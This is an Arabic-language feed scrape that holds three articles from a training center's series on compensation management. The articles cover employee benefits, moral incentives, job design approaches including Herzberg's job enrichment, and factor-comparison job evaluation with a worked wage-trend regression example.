المقصود بهذه الخدمات تقديم الرعاية الطبية للعاملين وأسرهم وهذه الرعاية قد تتاح فى وحدة صحية تابعة لجهة العمل إما ملحقة بمبنى هذه الجهة أو مكان آخر وقد لا تكون وحدة الرعاية الصحية تابعة لجهة العمل . كأن تشترك هذه الجهة فى احد الخدمة الطبية أو نسبة منها للعاملين فقط أو لهم ولأسرهم ويفترض أن تشمل الرعاية الصحية كلاً من الكشف الطبى وإتاحة الأدوية المطلوبة بشكل كاف ، وهذا فضلا عن إجراء الفحوص الطبية الدورية للتأكد من استمرار اللياقة المتكاملة لأداء العمل لاسيما كلما تدرج الموظف فى مراتب الإدارة العليا ففاعلية القرارات الإستراتيجية ترتبط بدرجة أو بأخرى بالحالة الصحية (جسمياً وعقلياً ) لصانع القرار .

دور الحضانة للموظفات

دور الحضانة هى دور رعاية الأطفال –لبعض الوقت – فى حالة غياب أمهاتهم عن المنزل فى العمل وحيث يتطلب الأمر تعويض الطفل عن أمه وقت غيابها ولا تقتصر مهمة دور الحضانة على رعاية الأطفال فيما بعد سن الثانية أو الثالثة أى بعد انتهاء فترة الرضاعة حتى يصلوا إلى سن المدرسة (السادسة) وإنما تقوم هذه الدور بدور هام بالنسبة للأطفال خلال فترة الرضاعة .

ويرى الكاتب أن عدم وجود دور حضانة يعتمد عليها الأطفال الموظفات يجعلهن أكثر عرضة للقلق النفسى وهو ما يؤثر على شخصيتهن ونشاطهن العقلى والفكرى فى مجال العمل فى ظل تشتت فكرهن فى مشكلات لا ترتبط بالعمل نفسه وحيث تتميز النساء بأنهن الفئة التى يكثر بها السلوك الخاص ب” أخذ المنزل إلى العمل ” ويمكن أن تخفف الإدارة من هذه المشكلة (فى حالة تجاوز عدد الموظفات لمائة موظفة مثلا) بتخصيص وتجهيز أحد قاعات المبنى كدار حضانة على أن تتناوب الموظفات القيام بدور المشرفات

ميزات شرائية

المقصود بهذه الميزات ، نسب الخصم التى تمنحها المنظمة للعاملين بها عند شرائهم لسلعها أو خدماتها التى تنتجها ويمكن التمثيل لذلك بالاشتراكات المجانية والمخفضة التى تمنح للعاملين بمرفقي الحديد ، والنقل العام كذلك ما يتمتع به العاملون والعاملات بالجهاز المصرفى المصرى وبعض الدول العربية من سعر فائدة مرتفع أو متميز على ودائعهم ويرى الكاتب أن هذا النوع من الخدمات يمكن ان يرفع من درجة ولاء العاملين للمنظمة ويحفزهم على المشاركة بإيجابية فى تحقيق أهدافها .

2- الحوافز المعنوية

هى تلك الحوافز التى تشبع الحاجات المعنوية لدى الفرد فلا يكفى أبدا أن تشبع الحوافز المادية وإنما يتطلب استقرار وفعالية الفرد ان تشبع حاجاته المادية والمعنوية بشكل متكامل .

وتتمثل أهم الحوافز فى )أ) حوافز متعلقة بالعمل ، مثل العمل المناب من حيث تصميمه وتناسبه مع قدرات ومهارات الفرد وفرص الترقية والمشاركة فى الإدارة ، و(ب) حوافز بيئية العمل مثل جماعة العمل المنسجمة وظروف العمل الجيدة والأشراف الفاعل ونظم الاقتراحات هذا إضافة لحوافز معنوية أخرى مثل خطابات الشكر وأنواط الجدارة ودرع الكفاءة ووضع لوحة شرف لتسجيل أسماء الموظفين المجيدين كذلك يمكن تنظيم مسابقات بجوائز لحفز العاملين والعاملات على التباري فى تحسين الأداء من حيث السرعة والدقة وجودة التعامل .

2/1 الحوافز فى مجال العمل نفسه وهذه تتضمن :

العمل المناسب

والمقصود بذلك أن يتناسب أو يتوافق عمل الفرد مع معارفه ومهاراته وميوله واهتماماته وطموحاته ومن شأن التوافق أن يحفز الموظف أو الموظفة على الأداء الفاعل فهذا التوافق يخلق لدى الفرد محركا أو دافعا ذاتيا يدفعه ويوجهه للأداء المثمر وهناك فرق واضح بي الدافع الذاتى لدى الفرد والدافع الخارجي الذى تمثله الإدارة فالدافع الذاتى يتمثل فى طاقة شحن أو دفع ذاتية مستمرة تتوفر للفرد أذا رضي عن عمله فإذا افتقر لهذا الدافع تضطر الإدارة لدفعه من وقت لآخر بالتوجيه أو بالحوافز السلبية (خصم من راتب أو إنذار أو لوم أو نقل وما إلى ذلك ).

وكلما نفذ مفعول الشحنة أو الدفعة التى تقوم بها الإدارة خمد نشاط الفرد فتدفعه ثانية وهكذا وأقرب مثال السيارات ذات البطارية التالفة فهى تحتاج لأن يدفعها أحد لتيسير قليلا ثم تتوقف محتاجة لدفعه ثانية وهكذا أما إذا هيأت لها بطارية صالحة فقد توفر لها الدفع الذاتى الكافى .

التصميم المحفز للعمل

المقصود بذلك أن يكون تصميم العمل – فى حد ذاته – محفزاً على الأداء الفعال ويتضمن تصميم العمل أو خصائصه الجوهرية : درجة التعقيد أو الصعوبة فى الداء ودرجة التكرار ودرجة التنوع – درجة الاستقلالية أو مدى العلاقات الاعتمادية مع الآخرين ومتطلبات الأداء من حيث السلطة والمسئولية وطرق الأداء والمعلومات .

وقد شهد الفكر الإداري فى مجال إدارة الموارد البشرية عدة مداخل نحو التصميم الفعال للعمل وأهمها :

  • تبسيط العمل Job Simplification من خلال تنميط إجراءات الأداء وتحديد مهام المنفذين بشكل واضح دقيق وهو ما يسهم فى زيادة درجة فهم الفرد وتمكنه من الأداء وبالتالى ثقته بنفسه .
  • تكبير العمل Job Enlargement بتضمين عمل الفرد مهتمين أو أكثر كانتا تؤديان بواسطة عامل آخر أو عاملين آخرين فالتغيير يتمثل فى أداء الفرد لمهام أكثر مختلفة عن العمل الأصلي فمثلا فى مصنع للسيارات بدلاً من أن يؤدى العامل مرحلة واحدة فى خط تجميع المحرك يؤدى مرحلتين أو ثلاث وهذا يشعره بأهميته وثقته بنفسه وتعاظم إسهامه فى الأداء ويؤدى بالتبعية لرفع درجة رضاءه بما يمكن أن يؤدى إلى فاعلية أدائه ويعبر عن ذلك بالتوسع الأفقي فى تحميل العمل .
  • تناوب العمل Job Rotation وهنا يزيد تنوع المهام من خلال التغيير الدوري للعاملين أو العاملات بين أعمال مختلفة تتضمن مهاماً مختلفة وذلك وفق جدول زمني محدد على مدى ساعة /يوم / أسبوع /شهر خذ مثلاً أحد أقسام مصنع لملابس الجاهزة يضم مي عاملة القص وشريف عامل الحياكة وليلى عاملة تركيب الأزرار هنا يمكن- بالتدوير أو بالتناوب – أن تقوم مي بتركيب الأزرار .وشريف بالقص وليلى بالحياكة وهذا يمنع السأم والملل ويزيد من الخبرات العملية لدى كل منهم ويرفع مستوى الرضاء والأداء معاً ومن ناحية أخرى سيسهل نقل الأفراد من عمل أو قسم إلى آخر إذا دعت الحاجة لتحقيق التوازن فى هيكل العمالة ككل .

ومع ذلك فإن بعض فائدة مدخلي تكبير وتناوب العمل تنحصر فى الأجل القصير أساسا صحيح أن الملل سيخفف لكن لبعض الوقت وليس بشكل دائم لذلك ظهر مدخل حديث يمكن أن يغطى هذا القصور فى تصميم العمل . وهو مدخل إثراء العمل أو الإثراء الوظيفى

  • إثراء العمل Job Enrichment لعلاج سلبيات تكبير وتناوب العمل اقتراح ” هرزبرج ” إثراء العمل كأسلوب لزيادة رضاء الأفراد وتحفيزهم وذلك من خلال عوامل الحفز فى محتوى العمل نفسه كما هو وليس من خلال تكبيره أو تناوبه فهو يركز هنا على تعميق مضمون بإضافة بعض واجبات التخطيط والتقييم – التى تمارسها الإدارة أو يمارسها الرئيس عادة – إلى عمل المرؤوس فالتوسع أو تحميل العمل هنا يعد رأسيا وليس أفقيا كما كان الحال فى مدخل تكبير العمل .

والجديد هنا هو إشراك الموظف أو الموظفة فى أمور وظيفته (أو وظيفتها ) بما يبدد ما قد يتواجد من عدم الرضاء ويسهم فى رفع درجته المرؤوس هنا يشارك فى مسئوليات التخطيط (متضمنة تحديد معايير تقييم الأداء ) ثم ينفذ (وهذا هو اختصاصه الأساسي ) ثم يشارك فى المتابعة وتقييم الأداء وهذا يساعد المرؤوس على تنمية خبراته ومهاراته ومبادأته واقتراحاته للتطوير .

ويمكن إثراء العمل إذا توافرت له الخصائص الأساسية التالية : (أ) تنوع المهارات أي تنوع أنشطة تنفيذ العمل بحيث تتضمن استخدام مهارات مختلفة فى الأداء الفنى وفى التعامل و(ب) تكامل المهمة أي أداء مرحلة أو عملية كاملة من البداية لنهاية مع تحقيق نتيجة واضحة و(جـ) الاستقلالية بمعنى إتاحة حرية معقولة للعامل ، مع مرونة تخطيط عمله وتحديد إجراءات التنفيذ و(د) المعلومات المرتدة من العمل أي أن تنفيذ المهام يتيح للعامل أو العاملة الحصول على معلومات مباشرة عن نتائج الأداء وهكذا يمكن – مع مدخل إثراء العمل أو الإثراء الوظيفى – أن تتواجد عوامل الرضا أو العوامل الدافعة فى مضمون أو جوهر العمل نفسه ومن ثم تؤثر فى الرضا عنه وتخلق دافعا داخليا أو ذاتيا لدى الفرد .

ويرى ” هرزبرج ” أنه فى غياب هذه العوامل الدافعة تظهر عوامل عدم الرضا أو ” العوامل الوقائية ” Hgiene Factors التى ترتبط بمحيط أو جو العمل أكثر من ارتباطها بمضمون العمل نفسه وتضم  هذه العوامل : تقييم الأداء والأجر وملحقاته الإشراف وظروف العمل المادية والعلاقات مع الزملاء (أو المرؤوسين ) والمركز الوظيفى وكلما تحسنت درجة إشباع هذه العوامل قل الشعور بعدم الرضا حتى يتلاشى ثم يبدأ تكوين الشعور بالرضا مع بدء إشباع العوامل الدافعة .

***

انتهت بحمد الله المقالة الثالثة لمسار كيم التعليمي للبرنامج المتكامل في الأجور

بقلم د/محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/integrated_pay_program-3/feed/ 0 سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الثانية https://cameknowledge.camecenter.com/articles/integrated_pay_program-2/ https://cameknowledge.camecenter.com/articles/integrated_pay_program-2/#respond Sat, 08 Apr 2023 12:13:49 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10438 سلسلة مقالات – البرنامج المتكامل في الأجور بقلم د/محمود الضابط   المقالة الثانية طريقة العوامل المقارنة فى هذه الطريقة تقيم الوظائف على أساس الأهمية النسبية للعوامل (أو الخصائص ) المتطلبة فى أداء كل وظيفة ودرجة إسهام كل عامل منها فى الأداء ويشترط أن تتوفر هذه العوامل –كأساس مشترك للتقييم بدرجات متفاوتة فى الوظائف موضوع التقييم […]

The post سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – البرنامج المتكامل في الأجور

بقلم د/محمود الضابط  

المقالة الثانية

طريقة العوامل المقارنة

فى هذه الطريقة تقيم الوظائف على أساس الأهمية النسبية للعوامل (أو الخصائص ) المتطلبة فى أداء كل وظيفة ودرجة إسهام كل عامل منها فى الأداء ويشترط أن تتوفر هذه العوامل –كأساس مشترك للتقييم بدرجات متفاوتة فى الوظائف موضوع التقييم بحيث تساعد على تحديد درجة الأهمية النسبية بكل وظيفة لأن العامل الذى يتوافر بدرجة واحدة فى كل الوظائف مثل المواظبة لا يعطى دلاله على أهمية وظيفة ما بالنسبة لأخرى .

وتتم عملية التقييم وفقاً لهذه الطريقة كما يلى :

  1. تحديد الوظائف موضوع التقييم .
  2. التحديد والوصف الواضحين للعوامل المشتركة فى الوظائف موضوع التقييم .
  3. تحديد قيمة نسبية لكل عامل حسب أهميته فى أداء الوظيفة ويمكن تحليل كل عامل لمكوناته وتقسيم قيمته النسبية على هذه المكونات فمثلاً عامل المسئولية فى وظيفة ” موظف شباك ” فى بنك وله 1 درجات تقسم إلى ” مسئولية عن الأموال 3 + عن الدفاتر ذات القيمة 3 + عن دقة القيود 2 + عن العلاقة بالعملاء 2 كالمثال التالي :

                                              جدول (2)

                                         القيم النسبية للعوامل

العامل القيمة النسبية
التعليم 15.00
التدريب والخبرة 15.00
اتساع وعمق العمل 25.00
المسئولية 10.00
الاتصال بآخرين داخل المنظمة 10.00
الاتصال بآخرين خارج المنظمة 5.00
الجهد الجسمانى 2.50
الجهد العقل 10.00
ظروف ومخاطر العمل 2.50
القيادة والتوجيه 5.00
  100.00

 

  1. تقييم العوامل المتطلبة فى كل وظيفة – من خلال بطاقة الوصف – بإعطاء كل عامل القيمة الرقمية المناسبة فى حدود قيمته النسبية الموضحة بالجدول وبجمع القيم الرقمية التى حصل عليها كل عامل ينتج التقدير الرقمي الإجمالي للوظيفة . وترتب الوظائف حسب الدرجة الإجمالية التى أخذتها كل وظيفة كما يوضح المثال التالي :

 

 

 

الوظيفة

 العوامل محل التقييم
التعليم (15) التدريب والخبرة (15) اتساع وعمق العمل (25) المسئولية (10) الاتصال

(15)

 الجهد الجسمانى (2.5) الجهد العقلى (10) ظروف العمل (2.5) القيادة (5) المجموع 100
رئيس القسم 12 13 19 8 12 1 8 1.5 4.5 79
موظف شباك (أ) 10 9 15 7 10 2 7 2 – 62
موظف شباك (ب) 10 8 – 6 10 2 7 2 – 57

 

وبعد الانتهاء من تقييم الوظائف وإعلان نتائج التقييم للعاملين و/أو العاملات قد تظهر بعض الشكاوى بشأن القصور وقد يكون لبعض الشكاوى وجاهتها لذلك يتطلب الأمر – ابتدأ – تقديم وشرح الطريقة التى ستتبع فى التقييم للعاملين و/أو العاملات وإقناعهم بها لتقليل معدل الشكاوى التى يمكن ان يقدموها ومع ذلك فحتى مع تقديم الشكاوى يتطلب الأمر فحصها والاستجابة لما يتضح صحته منها واستخدام نتائج معالجة الشكاوى كأساس للتعديل والتصحيح أو لتطوير طريقة التقييم عند الاتجاه لإجرائها فيما بعد .

تحديد معدلات الأجور

سلفت الإشارة إلى أن الأجور العادلة بإسهامها فى توفير رضاء الأفراد عن أعمالهم تتيح للمنظمة الاحتفاظ بالحجم الكافي من العمالة المدربة والمناسبة لطبيعة العمليات المؤادة ويجب أن يكفى مستوى الأجور لتلبية المتطلبات الشخصية والعائلية والاجتماعية للأفراد وفقاً لمستويات الأسعار السائدة حتى لا ينعكس ذلك فى ضعف دوافع الأفراد للأداء المنتج وما يتبع ذلك من زيادة معدلات الغياب ودوران العمالة أو سوء المظهر الشخصي أو التعامل غير المنضبط مع عملاء المنظمة بما يؤثر سلباً على جودة الأداء وعلى الصورة العامة للمنظمة فى أذهان جماهيرها والرأي العام أو اتجاه بعض الأفراد للبحث عن عمل إضافي يشارك العمل الأصلي للموظف وقته وجهده الفكري والجسمي .

والملاحظ – بشكل عام – انه فى حالات كثيرة لا تعكس الأجور الأساسية حجم الجهد الذى تتطلبه الوظيفة ، لكنها قد تحدد على أسس غير موضوعية تتركز فى المؤهل الدراسي لشاغلها أو مؤهله الدراسي مضافاً إليه عدد سنوات الخدمة ويؤثر غياب الأسس الموضوعية فى هذا الصدد سلبياً على معنويات العاملين والعاملات لذلك فإن تقييم الوظائف بما يتبعه من ترشيد معدلات الأجور حتى وغن رتب تكلفة مالية اعلي فإنه يهيئ من خلال هيكل فاعل للأجور درجة اكبر من الرضاء الوظيفي تسهم – بدرجة او بأخرى – فى إنتاجية أعلى تغطى هذه التكلفة أو تفوقها .

  1. تحديد الأجر

تعد معادلة الاتجاه العام إحدى الطرق الرئيسية التى يمكن استخدامها فى تحديد الأجور المستحقة كنتيجة لتقييم الوظائف :

والمعادلة هى : ص= أ ب س ..     (1)

حيث :          ص= الأجور للوظائف محل التقييم

                س = القيمة الرقمية لكل وظيفة بعد عملية التقييم

أما   أ، فتتحدد قيمتها من المعادلتين :

مج ص= ن أ + ب (مج س)         (2)

حيث ن= عدد الوظائف .

مج س ص = أ (مج س) + ب (مج س)2  ..(3)

فمثلا فى حالة تقييم عشر وظائف بإحدى المنظمات وإذا أسفر التقييم عن تحديد القيم الرقمية لكل وظيفة وكانت البيانات كما يلى :

الوظائف القيم الرقمية الأجر السنوى الحالي (بالألف جنيه )
                            1                    50 600
                            2                    60 630
                            3                    64 680
                            4                    68 700
                            5                    71 720
                            6                    74 740
                            7                    76 770
                            8                    80 800
                            9                    85 830
                      10                    94 900

 

يمكن تحديد الأجور المستحقة لشاغلي هذه الوظائف – بعد تقييمها – باستخدام المعادلة السابقة : ص=أ+ ب س

ولتطبيق المعادلة يجب – ابتدأ – تحديد قيم : ن ، مجـ س ، مجـ س2، مج س ص كما يلى :

 

جدول (4)

قيم معادلة الاتجاه العام

ن الوظائف س

القيم الرقمية

 ص

الأجر الحالي

 س2      س ص
                        1                    50 600 2500 30000
                        2                    60 630 3600 37800
                        3                    64 680 4096 43520
                        4                    68 700 4624 47600
                        5                    71 720 5041 51120
                        6                    74 740 5476 54760
                        7                    76 770 5776 58520
                        8                    80 800 6400 64000
                        9                    85 830 7225 70550
                 10                    94 900 8836 84600
                 11                    722 7370 53574 542470

 

بالتعويض فى المعادلتين الثانية والثالثة ، تتاح النتائج التالية :

7370=10 أ +722 ب………………………..(2)

542470= 722 أ +53574 ب……………….(3)

وبضرب المعادلة (2) فى 72.2 ينتج :

532114= 722 أ +52128.4 ب

وبطرح هذه المعادلة من المعادلة (3) ينتج :

10356 =1445.6 ب

ب = 10356÷1445.6= 7.16

ولاستخراج قيمة (أ) يمكن التعويض فى المعادلة (2) كما يلى :

7370= 10 أ + 722× 7.16

7370=10 أ+ 5169.5

7370- 5169.5= 10أ

2200.5=10أ

وبالتعويض فى المعادلة الأولى يمكن تحديد قيمة (ص) أى الأجر المستحق لكل وظيفة كما يلى :

الأجر المناسب للوظيفة الأولى = 220+7.16×50= 578 جنيه

(يقل عن الأجر الحالى )

الأجر المناسب للوظيفة الثانية = 220+7.16 × 60 = 649.6 جنيه

(يفوق الأجر الحالى )

الأجر المناسب للوظيفة الثالثة = 220+7.16×64= 678.2 جنيه

(يقل عن الأجر الحالى )

الأجر المناسب للوظيفة الرابعة = 220+7.16×68=706.9 جنيه

(يفوق الأجر الحالى ) وهكذا .

2- معالجة الفرق بين الأجر الحالى والأجر العادل المستحق بعد التقييم

قد يسفر تحديد الأجور العادلة – بعد التقييم – عن وجود فرق بالزيادة أو النقص بين الأجر الحالى والأجر العادي المستحق لشاغل الوظيفة فإذا كان الأجر المستحق يفوق الأجر الحالى ، يزداد الأجر ليصل لمستوى الأجر المستحق .وإما إذا كان الأجر المستحق – بعد التقييم – يقل عن الأجر الحالى فيمكن أن يسمح لشاغل الوظيفة بأن يحتفظ بأجره الحالى لكن بصفة شخصية حتى يرقى للدرجة التالية فيتقاضى أول مربوطها ، او حتى انتهاء خدمته إذا كان أجره الحالى يفوق بداية مربوط الدرجة التالية ويعود سبب الاحتفاظ للموظف فى هذه الحالة بأجره الحالى ، إلى أن الانتقاص من هذا الأجر ( ليكون فى مستوى الأجر المستحق ) من شأنه أن يؤثر سلبا على المعنويات .وبالتالى على مستوى الانتاجية .كما ان أثر الاحتفاظ بأجره يكون محدوداً لأنه يحتفظ بأجره بصفة شخصية أى أنه فى حالة شغل وظيفته بشخص آخر فإن هذا الأخير يتقاضى الأجر المستحق فقط دون زيادة .

هذا بالنسبة لتحديد الأجر الأساسي . أما بالنسبة للعلاوات والمكافآت بأنواعها ونسبها ، فإن تقريرها لا يقوم فقط على أساس التقييم الموضوعي للوظائف وإنما أيضاً على أساس التقييم الشخصى للموظف أو الموظفة من حيث مستوى الإنتاجية وأنماط التعامل أو ما يسمى بتقييم الأداء .

أساسيات فى تصميم الأجور :

من الضروري أن تراعى  الإدارة – ممثلة فى المديرين المعنيين واختصاصي الأجور والحوافز – عدة أسس فى هذا الصدد وأهمها :

  1. وصف الوظيفة كأساس لتقييمها .
  2. ترجمة أعباء الوظيفة وظروف ومخاطر العمل إلى نقاط .
  3. ترجمة النقاط إلى قيم أجريه مع الاسترشاد بمستوى الأجور السائد فى الصناعة أو المنظمات متماثلة النشاط سواء كان النشاط صناعياً أو خدمياً أو أيا كانت طبيعته .فمثلا فى دراسة إعادة تنظيم الأمانة العامة لجامعاه الدول العربية التى شارك بها الكاتب (2002) كان الأمر يتطلب الاسترشاد بمستويات الأجور فى منظمات عالمية مثل الجمعية العامة للأمم المتحدة ومنظمة الوحدة الأفريقية .
  4. الاسترشاد بمستوى الأسعار واتجاهات التضخم .

متى يتقرر زيادة الأجر :

يفترض ان يتحدد الأجر بشكل متناسب مع قيمة الوظيفة التى تعكسها الدرجات أو النقاط التى رصدت للوظيفة بعد تقييمها وسواء تم ذلك فى المنظمات الخاصة ضمن هيكل سياسة الأجور والحوافز أو تم فى المنظمات العامة ضمن قانون الخدمة المدنية ، فيتعين زيادة هذا الأجر بما يتناسب مع زيادة نسبة التضخم .وهنا لا تعكس هذه الزيادة ، زيادة في قيمة الوظيفة فواجبات الوظيفة ومسئولياتها والظروف المحيطة بأدائها قد تكون ثابتة لكن مراعاة الاستقرار المادى الاجتماعى والمعنوى للعاملين أو العاملات تتطلب هذه الزيادة .

لكن الجدير بالذكر أنه يتحتم أن يكون تقييم الوظيفة قد تم بشكل موضوعى سليم منذ البداية فهذا هو أساس تحديد الأجر ومكملاته فإن كان هذا الأساس سليما فإن زيادة عليه بسبب معدل التضخم تجعل من هيكل الأجور هيكلاً سليما يعتمد عليه فى استقرار هيكل العمالة وفى الإسهام فى رضائها وتهيئة وتنمية انتمائها للمنظمة .

ومن ناحية أخرى فإن تغيير واجبات أو مسئوليات الوظيفة وظروف العمل سواء بالزيادة أو النقص بالسهولة أو الصعوبة أو بزيادة درجة المسئولية أو المخاطر أو انخفاضها يتحتم معه تغيير الأجر خذ مثلا لذلك اختصاصي إعلان بإدارة التسويق عين على أساس اشتراط توافر متطلبات الوظيفة ممثله لمؤهل بكالوريوس إدارة أعمال وخبرة خمس سنوات فى عمليات تصميم وتقييم الإعلانات وتحدد اجر لشاغل هذه الوظيفة 8 جنيه ثم أدخلت المنظمة قاعدة بيانات متطورة تقوم على تطبيقات حديثة لتكنولوجيا المعلومات ويتطلب الأمر فى هذا الصدد اجتيازه دورة تدريبية بمركز معتمد أو الحصول على مؤهل خاص فى هذا المجال وهنا فقد حدث تغيير فى متطلبات شغل الوظيفة مثل المؤهل و/أو الخبرة يبرر زيادة فى الأجر .

وقد حاولت كثير من النظريات فى مجال العلوم السلوكية مثل نظريات الدافعية مثل نظرية الحاجات ونظرية التوقع ونظرية العاملين ونظرية الانجاز حاولت تحرى ما الذى يدفع العاملين للأداء الجاد المثمر وانتهت إلى عدة نتائج منها أهمية استخدام مزيج متكامل للحوافز كمثيرات خارجية لتوليد الدافع (كمحركات داخلية ) تدفع العاملين لهذا الأداء وهذا يقودنا إلى استعراض إطار متكامل للحوافز المادية والمعنوية كما يلى :

  • الحوافز المادية

تتضمن الحوافز المادية كل من الحوافز المباشرة وغير المباشرة وذلك كما يلى :

1/1 الحوافز المادية المباشرة

تتمثل هذه الحوافز فى الأجر الأساسي وملحقاته مثل : الأجر الإضافي – حوافز الإنتاج – العلاوات الدورية – المكافآت بأنواعها (تشجعيه أو عن اقتراحات مفيدة أو فى المناسبات ) – البدلات – الاشتراك فى أرباح الشركة وتشكل الحوافز المادية – بشكل عام – القدرة الشرائية التى تمكنه من إشباع حاجاته الفردية والأسرية من السلع والخدمات سواء كانت أساسية او كمالية ويمكن عرض أهم الحوافز المادية المباشرة كما يلى :

الأجـــــــر

يمكن تعريف الأجر بأنه مقابل أو ثمن أو ما يبذله العامل من مجهود عضلى وعقلى ومهاراته فى العمل والأجر بالنسبة للعامل يمثل دخلاً يهمه المحافظة على مستواه بل زيادته  أملا فى رفع مستوى معيشته وإشباع حاجاته من السلع والخدمات ومن المهم أن يوفر الأجر قياسا ملموسا وعادلا لجهد الفرد فى العمل ، حيث يتوقع كل فرد علاقة بين مدخلاته (مثل مستوى قدراته وجهده ) ومخرجاته ( الأجر والمكافآت الأخرى ) فإذا عكست المخرجات علاقة متناسبة مع المدخلات فإنها تشعره بالعدالة ويمكن أن تؤثر على مستوى دافعية الفرد حيث يزداد إسهامه فى تحقيق أهداف المنظمة .

العلاوات الدورية

العلاوة الدورية هى حافز سنوى تقدمه الإدارة للموظف الذى يتضح إن أداءه الفنى فى العمل وتعامله مع الزملاء والرؤساء و/أو العملاء على مستوى جيد أو ممتاز وفقا للمستويات التى تحددها الإدارة لقياس هذا الأداء وتتجه بعض المنظمات إلى عدم صرف العلاوة الدورية إذا اتضح أن أداء الموظف أو نمط تعامله لم يرق للمستوى المناسب او إلى صرف نصف العلاوة أو قدر معين منها يتناسب مع مستوى الأداء والتعامل ويتوقف الصرف بالكامل او الصرف الجزئى على الفلسفة التى تتبناها الإدارة فى هذا الصدد .

البدلات

تصرف لبعض العاملين بدلات تختلف فى تسميتها وغن كانت فى معظمها تدخل تحت اسم بدل طبيعة العمل والمفروض أن البدل يصرف للفرد لتعويضه عن جهد غير عادى وظروف غير عادية تتواجد بشكل متلازم مع أداء العمل وتختلف  طبيعة وقدر هذا الجهد وتلك الظروف باختلاف طبيعة العمل فالمحصل فى وسائل النقل العامة يبذل جهداً جسمانياً متميزاً ويعمل فى ظروف تختلف عن ظروف العمل بالمكاتب(داخل الغرف ) وعامل المنجم يبذل جهداً كبيراً يعمل فى ظروف شاقة تحت الأرض ووسط غازات سامة وأتربة …ألخ ) والقاضي يبذل جهداً عقلياً كبيراً ومتميزاً . وهكذا .

***

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمي للبرنامج المتكامل في الأجور

بقلم د/محمود الضابط  

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/integrated_pay_program-2/feed/ 0 سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الأولى https://cameknowledge.camecenter.com/articles/integrated_pay_program-1/ https://cameknowledge.camecenter.com/articles/integrated_pay_program-1/#respond Sat, 08 Apr 2023 12:05:28 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10436 سلسلة مقالات – البرنامج المتكامل في الأجور بقلم د/محمود الضابط   المقالة الأولي وظيفة وأهمية التعويض والتحفيز مقدمة: وظيفة وأهمية التعويض والتحفيز : إزاء تغير النظرة التقليدية للوظيفة من كونها مصدر للكسب المادى الذى يستطيع به المرء توفير متطلبات الحياة إلى كونها أداه للتعلم واكتساب مهارات وخبرات جديدة وأداة لتكوين علاقات مع الغير فقد شهدت […]

The post سلسلة مقالات – البرنامج المتكامل في الأجور- بقلم د/محمود الضابط – المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – البرنامج المتكامل في الأجور

بقلم د/محمود الضابط  

المقالة الأولي

وظيفة وأهمية التعويض والتحفيز

مقدمة:

وظيفة وأهمية التعويض والتحفيز :

إزاء تغير النظرة التقليدية للوظيفة من كونها مصدر للكسب المادى الذى يستطيع به المرء توفير متطلبات الحياة إلى كونها أداه للتعلم واكتساب مهارات وخبرات جديدة وأداة لتكوين علاقات مع الغير فقد شهدت وظيفة التعويض والتحفيز تطورات كثيرة فى الآونة الأخيرة لعل أبرزها :

  1. التوسع فى تطبيق نظم الأجر بالأداء Pay For Performance وتسجيل أداء الفرد ومتابعته للتثبيت من هذا الأداء وتقييمه وتحديد مستحقاته بدقة فى ضوء هذا الأداء Performance Based Rewards ومعنى ذلك أن المنظمات تتجه بقوة الآن إلى زيادة قدرة الرواتب على التحفيز، حيث بدأت المنظمات تقلص الرواتب الأساسية وتزيد من الجوانب المرتبطة بالأداء كما هو الحال بالنسبة للعملية مع مندوبى البيع .
  2. تتجه منظمات عدة الآن كذلك نحو البحث عن معايير أخرى لتحديد الأجور والرواتب والحوافز إلى جانب الأداء ومنها ربط الأجر بالمهارات Pay For Skills ربط الأجر بالقيمة المضافة Pay For Added Value ربط الأجر بالانتماء Pay For Commitment وغيرها .
  3. بدأت كثير من المنظمات فى تقييم نظم العمل والتعويضات التى تساعد على الإبقاء على الموارد البشرية مرتفعة الأداء وعلى اجتذاب العقول فائقة التميز والموهبة والمهارة بدلا من نظم العمل والتعويضات التقليدية التى تعتمد بالدرجة الأولى على معيار الأقدمية وعلى مبدأ الثواب والعقاب .
